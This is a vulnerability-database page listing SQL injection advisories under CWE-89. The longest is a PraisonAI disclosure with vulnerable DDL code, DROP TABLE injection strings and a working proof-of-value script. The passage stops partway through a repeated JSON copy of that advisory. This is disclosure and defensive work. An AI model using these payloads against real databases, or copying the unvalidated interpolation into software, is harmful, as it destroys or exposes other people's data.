CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
29430 vulnerabilities reference this CWE, most recent first.
GHSA-WF3W-5Q4P-4CQ8
Vulnerability from github – Published: 2022-05-17 02:06 – Updated: 2022-05-17 02:06SQL injection vulnerability in show.php in phpaaCms 0.3.1 UTF-8, and possibly other versions, allows remote attackers to execute arbitrary SQL commands via the id parameter.
{
"affected": [],
"aliases": [
"CVE-2010-2719"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-07-13T18:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in show.php in phpaaCms 0.3.1 UTF-8, and possibly other versions, allows remote attackers to execute arbitrary SQL commands via the id parameter.",
"id": "GHSA-wf3w-5q4p-4cq8",
"modified": "2022-05-17T02:06:17Z",
"published": "2022-05-17T02:06:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-2719"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/60075"
},
{
"type": "WEB",
"url": "http://osvdb.org/65994"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/40450"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/14199"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/41341"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/1690"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WF52-PMF8-W9J3
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46PbootCMS 3.0.4 contains a SQL injection vulnerability through index.php via the search parameter that can reveal sensitive information through adding an admin account.
{
"affected": [],
"aliases": [
"CVE-2021-28245"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-31T14:15:00Z",
"severity": "HIGH"
},
"details": "PbootCMS 3.0.4 contains a SQL injection vulnerability through index.php via the search parameter that can reveal sensitive information through adding an admin account.",
"id": "GHSA-wf52-pmf8-w9j3",
"modified": "2022-05-24T17:46:00Z",
"published": "2022-05-24T17:46:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28245"
},
{
"type": "WEB",
"url": "https://github.com/M40k1n9/vulner/issues/1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WF5P-F5XR-C4JJ
Vulnerability from github – Published: 2021-12-02 17:48 – Updated: 2021-12-01 21:03An unauthenticated SQL Injection vulnerability in Rosario Student Information System (aka rosariosis) before 8.1.1 allows remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "francoisjacquet/rosariosis"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-44427"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2021-12-01T21:03:52Z",
"nvd_published_at": "2021-11-29T22:15:00Z",
"severity": "CRITICAL"
},
"details": "An unauthenticated SQL Injection vulnerability in Rosario Student Information System (aka rosariosis) before 8.1.1 allows remote attackers to execute PostgreSQL statements (e.g., SELECT, INSERT, UPDATE, and DELETE) through /Side.php via the syear parameter.",
"id": "GHSA-wf5p-f5xr-c4jj",
"modified": "2021-12-01T21:03:52Z",
"published": "2021-12-02T17:48:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44427"
},
{
"type": "WEB",
"url": "https://github.com/francoisjacquet/rosariosis/commit/e001430aa9fb53d2502fb6f036f6c51c578d2016"
},
{
"type": "PACKAGE",
"url": "https://github.com/francoisjacquet/rosariosis"
},
{
"type": "WEB",
"url": "https://gitlab.com/francoisjacquet/rosariosis/-/commit/e001430aa9fb53d2502fb6f036f6c51c578d2016"
},
{
"type": "WEB",
"url": "https://gitlab.com/francoisjacquet/rosariosis/-/issues/328"
},
{
"type": "WEB",
"url": "https://gitlab.com/francoisjacquet/rosariosis/blob/mobile/CHANGES.md#changes-in-811"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SQL Injection in rosariosis"
}
GHSA-WF5Q-4VH3-9CHV
Vulnerability from github – Published: 2025-11-01 06:30 – Updated: 2025-11-01 06:30The wpForo Forum plugin for WordPress is vulnerable to SQL Injection via the Subscriptions Manager in all versions up to, and including, 2.4.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
{
"affected": [],
"aliases": [
"CVE-2025-11740"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-01T06:15:39Z",
"severity": "MODERATE"
},
"details": "The wpForo Forum plugin for WordPress is vulnerable to SQL Injection via the Subscriptions Manager in all versions up to, and including, 2.4.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
"id": "GHSA-wf5q-4vh3-9chv",
"modified": "2025-11-01T06:30:36Z",
"published": "2025-11-01T06:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11740"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3386327/wpforo/tags/2.4.10/modules/subscriptions/Subscriptions.php?old=3380558\u0026old_path=wpforo%2Ftags%2F2.4.9%2Fmodules%2Fsubscriptions%2FSubscriptions.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/aa1eaac2-a23b-4ef6-803a-15f7ec7e5728?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WF65-4JJX-Q444
Vulnerability from github – Published: 2026-10-08 17:17 – Updated: 2026-10-08 17:17PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL
Summary
The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.
Technical Details
The affected boundary is the vector-store collection creation API. The shared KnowledgeStore.create_collection() contract declares dimension: int, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.
src/praisonai/praisonai/persistence/knowledge/pgvector.py already treats DDL identifier interpolation as security-sensitive: __init__() calls validate_identifier(schema, name="schema"), and _table_name() calls validate_identifier(collection, name="collection name") before returning f"{self.schema}.praison_vec_{collection}". However, PGVectorKnowledgeStore.create_collection() then executes:
cur.execute(f"""
CREATE TABLE IF NOT EXISTS {table} (
id VARCHAR(255) PRIMARY KEY,
content TEXT,
content_hash VARCHAR(64),
created_at DOUBLE PRECISION,
metadata JSONB,
embedding vector({dimension})
)
""")
No equivalent type or range check runs on dimension. Passing a string such as 3); DROP TABLE tenant_secrets; -- reaches the SQL sent to cur.execute().
src/praisonai/praisonai/persistence/knowledge/cassandra.py has the same pattern. The constructor validates keyspace, and create_collection() validates the collection name, but the vector column DDL uses:
self._session.execute(f"""
CREATE TABLE IF NOT EXISTS {name} (
id text PRIMARY KEY,
content text,
content_hash text,
created_at double,
embedding vector<float, {dimension}>
)
""")
Passing a string such as 3>; DROP TABLE tenant_secrets; -- reaches the CQL sent to session.execute().
PoV
This minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.
#!/usr/bin/env python3
"""Local PoV for vector-store dimension DDL interpolation.
The script imports PraisonAI's current source with fake PostgreSQL/Cassandra
drivers, then records the SQL/CQL sent to the driver cursors. No database server
is required; the assertion is that the real classes build executable DDL with an
attacker-controlled dimension string.
"""
from __future__ import annotations
import argparse
import importlib
import json
import subprocess
import sys
import types
from pathlib import Path
from typing import Any
class SqlRecorder:
def __init__(self) -> None:
self.statements: list[dict[str, Any]] = []
def execute(self, statement: str, params: Any = None) -> None:
normalized = "\n".join(line.rstrip() for line in statement.strip().splitlines())
self.statements.append({"statement": normalized, "params": params})
def __enter__(self) -> "SqlRecorder":
return self
def __exit__(self, *_exc: object) -> None:
return None
class FakeConnection:
def __init__(self, recorder: SqlRecorder) -> None:
self.recorder = recorder
def cursor(self, *args: Any, **kwargs: Any) -> SqlRecorder:
return self.recorder
def commit(self) -> None:
return None
class FakePool:
def __init__(self, recorder: SqlRecorder) -> None:
self.conn = FakeConnection(recorder)
def getconn(self) -> FakeConnection:
return self.conn
def putconn(self, _conn: FakeConnection) -> None:
return None
def closeall(self) -> None:
return None
class FakeCassandraSession:
def __init__(self, recorder: SqlRecorder) -> None:
self.recorder = recorder
self.keyspace: str | None = None
def execute(self, statement: str, params: Any = None) -> list[Any]:
self.recorder.execute(statement, params)
return []
def set_keyspace(self, keyspace: str) -> None:
self.keyspace = keyspace
class FakeCluster:
recorder: SqlRecorder
def __init__(self, *_args: Any, **_kwargs: Any) -> None:
self.session = FakeCassandraSession(self.recorder)
def connect(self) -> FakeCassandraSession:
return self.session
def shutdown(self) -> None:
return None
def install_fake_pg_driver(recorder: SqlRecorder) -> None:
psycopg2 = types.ModuleType("psycopg2")
pool = types.ModuleType("psycopg2.pool")
extras = types.ModuleType("psycopg2.extras")
pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder) # type: ignore[attr-defined]
extras.RealDictCursor = object # type: ignore[attr-defined]
psycopg2.pool = pool # type: ignore[attr-defined]
psycopg2.extras = extras # type: ignore[attr-defined]
sys.modules["psycopg2"] = psycopg2
sys.modules["psycopg2.pool"] = pool
sys.modules["psycopg2.extras"] = extras
def install_fake_cassandra_driver(recorder: SqlRecorder) -> None:
cassandra = types.ModuleType("cassandra")
cluster = types.ModuleType("cassandra.cluster")
auth = types.ModuleType("cassandra.auth")
FakeCluster.recorder = recorder
cluster.Cluster = FakeCluster # type: ignore[attr-defined]
auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object() # type: ignore[attr-defined]
sys.modules["cassandra"] = cassandra
sys.modules["cassandra.cluster"] = cluster
sys.modules["cassandra.auth"] = auth
def git_value(source_root: Path, *args: str) -> str:
return subprocess.check_output(["git", *args], cwd=source_root, text=True).strip()
def try_invalid_collection(store: Any) -> str:
try:
store.create_collection("docs; DROP TABLE blocked; --", 3)
except Exception as exc: # noqa: BLE001 - output records exact guard behavior.
return f"{type(exc).__name__}: {exc}"
return "accepted"
def run_pgvector(source_root: Path) -> dict[str, Any]:
recorder = SqlRecorder()
install_fake_pg_driver(recorder)
sys.path.insert(0, str(source_root / "src" / "praisonai"))
mod = importlib.import_module("praisonai.persistence.knowledge.pgvector")
store = mod.PGVectorKnowledgeStore(url="postgresql://example.invalid/db", auto_create_extension=False)
invalid_collection = try_invalid_collection(store)
recorder.statements.clear()
store.create_collection("docs", 3)
safe_statements = list(recorder.statements)
recorder.statements.clear()
payload = "3); DROP TABLE tenant_secrets; --"
store.create_collection("docs", payload)
malicious_statements = list(recorder.statements)
return {
"payload": payload,
"invalid_collection_control": invalid_collection,
"safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
"malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
"safe_statements": safe_statements,
"malicious_statements": malicious_statements,
}
def run_cassandra(source_root: Path) -> dict[str, Any]:
recorder = SqlRecorder()
install_fake_cassandra_driver(recorder)
sys.path.insert(0, str(source_root / "src" / "praisonai"))
mod = importlib.import_module("praisonai.persistence.knowledge.cassandra")
store = mod.CassandraKnowledgeStore(hosts=["127.0.0.1"], keyspace="praisonai_safe")
invalid_collection = try_invalid_collection(store)
recorder.statements.clear()
store.create_collection("docs", 3)
safe_statements = list(recorder.statements)
recorder.statements.clear()
payload = "3>; DROP TABLE tenant_secrets; --"
store.create_collection("docs", payload)
malicious_statements = list(recorder.statements)
return {
"payload": payload,
"invalid_collection_control": invalid_collection,
"safe_contains_drop_table": "DROP TABLE" in json.dumps(safe_statements),
"malicious_contains_drop_table": "DROP TABLE tenant_secrets" in json.dumps(malicious_statements),
"safe_statements": safe_statements,
"malicious_statements": malicious_statements,
}
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--source-root", type=Path, default=Path.cwd())
args = parser.parse_args()
source_root = args.source_root.resolve()
output = {
"source": {
"repository": "MervinPraison/PraisonAI",
"head": git_value(source_root, "rev-parse", "HEAD"),
"describe": git_value(source_root, "describe", "--tags", "--always", "--dirty"),
},
"pgvector": run_pgvector(source_root),
"cassandra": run_cassandra(source_root),
}
assert output["pgvector"]["invalid_collection_control"].startswith("ValueError:"), output
assert output["cassandra"]["invalid_collection_control"].startswith("ValueError:"), output
assert output["pgvector"]["safe_contains_drop_table"] is False, output
assert output["cassandra"]["safe_contains_drop_table"] is False, output
assert output["pgvector"]["malicious_contains_drop_table"] is True, output
assert output["cassandra"]["malicious_contains_drop_table"] is True, output
print(json.dumps(output, indent=2, sort_keys=True))
if __name__ == "__main__":
main()
PoC
Save the PoV script above as pov_vector_dimension_ddl_injection.py, then reproduce against current head:
git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 pov_vector_dimension_ddl_injection.py --source-root .
Decisive PGVector output:
{
"pgvector": {
"invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
"safe_contains_drop_table": false,
"malicious_contains_drop_table": true,
"malicious_statements": [
{
"statement": "CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)"
}
]
}
}
Decisive Cassandra output:
{
"cassandra": {
"invalid_collection_control": "ValueError: collection name must be non-empty and contain only alphanumerics and underscores",
"safe_contains_drop_table": false,
"malicious_contains_drop_table": true,
"malicious_statements": [
{
"statement": "CREATE TABLE IF NOT EXISTS docs (... embedding vector<float, 3>; DROP TABLE tenant_secrets; --> ...)"
}
]
}
}
The local controls also showed safe integer dimensions produce embedding vector(3) and embedding vector<float, 3> without DROP TABLE, while malicious collection names are rejected before driver execution.
Impact
This is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.
Suggested Fix
Validate dimension before constructing DDL in every backend that uses it. Prefer a shared helper at the KnowledgeStore.create_collection() boundary plus backend-level defense in depth:
def validate_vector_dimension(value: object) -> int:
if isinstance(value, bool) or not isinstance(value, int):
raise ValueError("dimension must be an integer")
if value <= 0 or value > 200000:
raise ValueError("dimension is outside the supported range")
return value
Use the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as 3); DROP TABLE x; -- and 3>; DROP TABLE x; -- raise before any driver execute() call, alongside the existing malicious collection-name tests.
Affected Package/Versions
Affected package: praisonai.
The source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at v3.10.0, v4.5.128, v4.6.59, v4.6.62, v4.6.63, v4.6.64, and current main commit 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab. A conservative affected range is praisonai >= 3.10.0, <= 4.6.64 plus current main, for installations using the PGVector or Cassandra knowledge-store backends and exposing collection dimensions to lower-trust input. No fixed version was identified in the checked source.
Advisory History
Repository security advisories were checked on 2026-06-19. The closest public advisory is GHSA-3643-7v76-5cj2, "PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries". Current head contains the follow-up identifier validation for schema, keyspace, and collection names, and the PoV negative controls confirm that collection-name injection is now rejected. This report is distinct because the unvalidated input is the vector dimension, the affected DDL fields are embedding vector({dimension}) and embedding vector<float, {dimension}>, and the issue remains after the identifier hardening.
Other checked comparators include conversation-store table_prefix SQL injection advisories (GHSA-rg3h-x3jw-7jm5, GHSA-x783-xp3g-mqhp) and unrelated Platform, Context, deployment, and agent-tool advisories. No checked advisory matched vector dimension interpolation in PGVector or Cassandra knowledge-store DDL.
References
src/praisonai/praisonai/persistence/knowledge/pgvector.pysrc/praisonai/praisonai/persistence/knowledge/cassandra.pysrc/praisonai/praisonai/persistence/knowledge/base.pyhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg3h-x3jw-7jm5https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-60090"
],
"database_specific": {
"cwe_ids": [
"CWE-89",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T17:17:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# PGVector and Cassandra knowledge stores interpolate vector dimensions into DDL\n\n## Summary\n\nThe PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled `dimension` argument directly into `CREATE TABLE` vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.\n\n## Technical Details\n\nThe affected boundary is the vector-store collection creation API. The shared `KnowledgeStore.create_collection()` contract declares `dimension: int`, but Python type hints are not enforced at runtime. Backends that interpolate that value into DDL must validate the runtime value before constructing SQL/CQL.\n\n`src/praisonai/praisonai/persistence/knowledge/pgvector.py` already treats DDL identifier interpolation as security-sensitive: `__init__()` calls `validate_identifier(schema, name=\"schema\")`, and `_table_name()` calls `validate_identifier(collection, name=\"collection name\")` before returning `f\"{self.schema}.praison_vec_{collection}\"`. However, `PGVectorKnowledgeStore.create_collection()` then executes:\n\n```python\ncur.execute(f\"\"\"\n CREATE TABLE IF NOT EXISTS {table} (\n id VARCHAR(255) PRIMARY KEY,\n content TEXT,\n content_hash VARCHAR(64),\n created_at DOUBLE PRECISION,\n metadata JSONB,\n embedding vector({dimension})\n )\n\"\"\")\n```\n\nNo equivalent type or range check runs on `dimension`. Passing a string such as `3); DROP TABLE tenant_secrets; --` reaches the SQL sent to `cur.execute()`.\n\n`src/praisonai/praisonai/persistence/knowledge/cassandra.py` has the same pattern. The constructor validates `keyspace`, and `create_collection()` validates the collection name, but the vector column DDL uses:\n\n```python\nself._session.execute(f\"\"\"\n CREATE TABLE IF NOT EXISTS {name} (\n id text PRIMARY KEY,\n content text,\n content_hash text,\n created_at double,\n embedding vector\u003cfloat, {dimension}\u003e\n )\n\"\"\")\n```\n\nPassing a string such as `3\u003e; DROP TABLE tenant_secrets; --` reaches the CQL sent to `session.execute()`.\n\n## PoV\n\nThis minimal PoV imports the real backend classes with fake database drivers, records the statements sent to the drivers, and compares a safe integer dimension with a malicious string dimension. It also attempts a malicious collection name as a negative control; current code rejects that name, proving the identifier hardening is active while the vector dimension remains unguarded.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for vector-store dimension DDL interpolation.\n\nThe script imports PraisonAI\u0027s current source with fake PostgreSQL/Cassandra\ndrivers, then records the SQL/CQL sent to the driver cursors. No database server\nis required; the assertion is that the real classes build executable DDL with an\nattacker-controlled dimension string.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport importlib\nimport json\nimport subprocess\nimport sys\nimport types\nfrom pathlib import Path\nfrom typing import Any\n\n\nclass SqlRecorder:\n def __init__(self) -\u003e None:\n self.statements: list[dict[str, Any]] = []\n\n def execute(self, statement: str, params: Any = None) -\u003e None:\n normalized = \"\\n\".join(line.rstrip() for line in statement.strip().splitlines())\n self.statements.append({\"statement\": normalized, \"params\": params})\n\n def __enter__(self) -\u003e \"SqlRecorder\":\n return self\n\n def __exit__(self, *_exc: object) -\u003e None:\n return None\n\n\nclass FakeConnection:\n def __init__(self, recorder: SqlRecorder) -\u003e None:\n self.recorder = recorder\n\n def cursor(self, *args: Any, **kwargs: Any) -\u003e SqlRecorder:\n return self.recorder\n\n def commit(self) -\u003e None:\n return None\n\n\nclass FakePool:\n def __init__(self, recorder: SqlRecorder) -\u003e None:\n self.conn = FakeConnection(recorder)\n\n def getconn(self) -\u003e FakeConnection:\n return self.conn\n\n def putconn(self, _conn: FakeConnection) -\u003e None:\n return None\n\n def closeall(self) -\u003e None:\n return None\n\n\nclass FakeCassandraSession:\n def __init__(self, recorder: SqlRecorder) -\u003e None:\n self.recorder = recorder\n self.keyspace: str | None = None\n\n def execute(self, statement: str, params: Any = None) -\u003e list[Any]:\n self.recorder.execute(statement, params)\n return []\n\n def set_keyspace(self, keyspace: str) -\u003e None:\n self.keyspace = keyspace\n\n\nclass FakeCluster:\n recorder: SqlRecorder\n\n def __init__(self, *_args: Any, **_kwargs: Any) -\u003e None:\n self.session = FakeCassandraSession(self.recorder)\n\n def connect(self) -\u003e FakeCassandraSession:\n return self.session\n\n def shutdown(self) -\u003e None:\n return None\n\n\ndef install_fake_pg_driver(recorder: SqlRecorder) -\u003e None:\n psycopg2 = types.ModuleType(\"psycopg2\")\n pool = types.ModuleType(\"psycopg2.pool\")\n extras = types.ModuleType(\"psycopg2.extras\")\n\n pool.ThreadedConnectionPool = lambda *_args, **_kwargs: FakePool(recorder) # type: ignore[attr-defined]\n extras.RealDictCursor = object # type: ignore[attr-defined]\n psycopg2.pool = pool # type: ignore[attr-defined]\n psycopg2.extras = extras # type: ignore[attr-defined]\n\n sys.modules[\"psycopg2\"] = psycopg2\n sys.modules[\"psycopg2.pool\"] = pool\n sys.modules[\"psycopg2.extras\"] = extras\n\n\ndef install_fake_cassandra_driver(recorder: SqlRecorder) -\u003e None:\n cassandra = types.ModuleType(\"cassandra\")\n cluster = types.ModuleType(\"cassandra.cluster\")\n auth = types.ModuleType(\"cassandra.auth\")\n\n FakeCluster.recorder = recorder\n cluster.Cluster = FakeCluster # type: ignore[attr-defined]\n auth.PlainTextAuthProvider = lambda *_args, **_kwargs: object() # type: ignore[attr-defined]\n\n sys.modules[\"cassandra\"] = cassandra\n sys.modules[\"cassandra.cluster\"] = cluster\n sys.modules[\"cassandra.auth\"] = auth\n\n\ndef git_value(source_root: Path, *args: str) -\u003e str:\n return subprocess.check_output([\"git\", *args], cwd=source_root, text=True).strip()\n\n\ndef try_invalid_collection(store: Any) -\u003e str:\n try:\n store.create_collection(\"docs; DROP TABLE blocked; --\", 3)\n except Exception as exc: # noqa: BLE001 - output records exact guard behavior.\n return f\"{type(exc).__name__}: {exc}\"\n return \"accepted\"\n\n\ndef run_pgvector(source_root: Path) -\u003e dict[str, Any]:\n recorder = SqlRecorder()\n install_fake_pg_driver(recorder)\n sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n mod = importlib.import_module(\"praisonai.persistence.knowledge.pgvector\")\n store = mod.PGVectorKnowledgeStore(url=\"postgresql://example.invalid/db\", auto_create_extension=False)\n\n invalid_collection = try_invalid_collection(store)\n recorder.statements.clear()\n store.create_collection(\"docs\", 3)\n safe_statements = list(recorder.statements)\n\n recorder.statements.clear()\n payload = \"3); DROP TABLE tenant_secrets; --\"\n store.create_collection(\"docs\", payload)\n malicious_statements = list(recorder.statements)\n\n return {\n \"payload\": payload,\n \"invalid_collection_control\": invalid_collection,\n \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n \"safe_statements\": safe_statements,\n \"malicious_statements\": malicious_statements,\n }\n\n\ndef run_cassandra(source_root: Path) -\u003e dict[str, Any]:\n recorder = SqlRecorder()\n install_fake_cassandra_driver(recorder)\n sys.path.insert(0, str(source_root / \"src\" / \"praisonai\"))\n mod = importlib.import_module(\"praisonai.persistence.knowledge.cassandra\")\n store = mod.CassandraKnowledgeStore(hosts=[\"127.0.0.1\"], keyspace=\"praisonai_safe\")\n\n invalid_collection = try_invalid_collection(store)\n recorder.statements.clear()\n store.create_collection(\"docs\", 3)\n safe_statements = list(recorder.statements)\n\n recorder.statements.clear()\n payload = \"3\u003e; DROP TABLE tenant_secrets; --\"\n store.create_collection(\"docs\", payload)\n malicious_statements = list(recorder.statements)\n\n return {\n \"payload\": payload,\n \"invalid_collection_control\": invalid_collection,\n \"safe_contains_drop_table\": \"DROP TABLE\" in json.dumps(safe_statements),\n \"malicious_contains_drop_table\": \"DROP TABLE tenant_secrets\" in json.dumps(malicious_statements),\n \"safe_statements\": safe_statements,\n \"malicious_statements\": malicious_statements,\n }\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--source-root\", type=Path, default=Path.cwd())\n args = parser.parse_args()\n source_root = args.source_root.resolve()\n\n output = {\n \"source\": {\n \"repository\": \"MervinPraison/PraisonAI\",\n \"head\": git_value(source_root, \"rev-parse\", \"HEAD\"),\n \"describe\": git_value(source_root, \"describe\", \"--tags\", \"--always\", \"--dirty\"),\n },\n \"pgvector\": run_pgvector(source_root),\n \"cassandra\": run_cassandra(source_root),\n }\n\n assert output[\"pgvector\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n assert output[\"cassandra\"][\"invalid_collection_control\"].startswith(\"ValueError:\"), output\n assert output[\"pgvector\"][\"safe_contains_drop_table\"] is False, output\n assert output[\"cassandra\"][\"safe_contains_drop_table\"] is False, output\n assert output[\"pgvector\"][\"malicious_contains_drop_table\"] is True, output\n assert output[\"cassandra\"][\"malicious_contains_drop_table\"] is True, output\n\n print(json.dumps(output, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n## PoC\n\nSave the PoV script above as `pov_vector_dimension_ddl_injection.py`, then reproduce against current head:\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\npython3 pov_vector_dimension_ddl_injection.py --source-root .\n```\n\nDecisive PGVector output:\n\n```json\n{\n \"pgvector\": {\n \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n \"safe_contains_drop_table\": false,\n \"malicious_contains_drop_table\": true,\n \"malicious_statements\": [\n {\n \"statement\": \"CREATE TABLE IF NOT EXISTS public.praison_vec_docs (... embedding vector(3); DROP TABLE tenant_secrets; --) ...)\"\n }\n ]\n }\n}\n```\n\nDecisive Cassandra output:\n\n```json\n{\n \"cassandra\": {\n \"invalid_collection_control\": \"ValueError: collection name must be non-empty and contain only alphanumerics and underscores\",\n \"safe_contains_drop_table\": false,\n \"malicious_contains_drop_table\": true,\n \"malicious_statements\": [\n {\n \"statement\": \"CREATE TABLE IF NOT EXISTS docs (... embedding vector\u003cfloat, 3\u003e; DROP TABLE tenant_secrets; --\u003e ...)\"\n }\n ]\n }\n}\n```\n\nThe local controls also showed safe integer dimensions produce `embedding vector(3)` and `embedding vector\u003cfloat, 3\u003e` without `DROP TABLE`, while malicious collection names are rejected before driver execution.\n\n## Impact\n\nThis is a SQL/CQL injection sink in database DDL generation. Applications that expose RAG collection creation, tenant workspace provisioning, plugin-managed vector-store setup, or similar lower-trust configuration to PGVector or Cassandra knowledge stores can let a lower-privileged caller append database statements under the application database principal. Depending on database permissions, impact can include dropping, creating, or altering database objects. The conservative classification is CWE-89 for PGVector and CWE-943/CQL injection for Cassandra, with Medium severity because the attacker must influence the collection dimension and the application principal must have DDL privileges.\n\n## Suggested Fix\n\nValidate `dimension` before constructing DDL in every backend that uses it. Prefer a shared helper at the `KnowledgeStore.create_collection()` boundary plus backend-level defense in depth:\n\n```python\ndef validate_vector_dimension(value: object) -\u003e int:\n if isinstance(value, bool) or not isinstance(value, int):\n raise ValueError(\"dimension must be an integer\")\n if value \u003c= 0 or value \u003e 200000:\n raise ValueError(\"dimension is outside the supported range\")\n return value\n```\n\nUse the validated integer in PGVector, Cassandra, ClickHouse, SingleStore, and any other DDL-generating backend. Add regression tests that malicious values such as `3); DROP TABLE x; --` and `3\u003e; DROP TABLE x; --` raise before any driver `execute()` call, alongside the existing malicious collection-name tests.\n\n## Affected Package/Versions\n\nAffected package: `praisonai`.\n\nThe source sweep found the same dimension interpolation pattern in both PGVector and Cassandra backends at `v3.10.0`, `v4.5.128`, `v4.6.59`, `v4.6.62`, `v4.6.63`, `v4.6.64`, and current main commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`. A conservative affected range is `praisonai 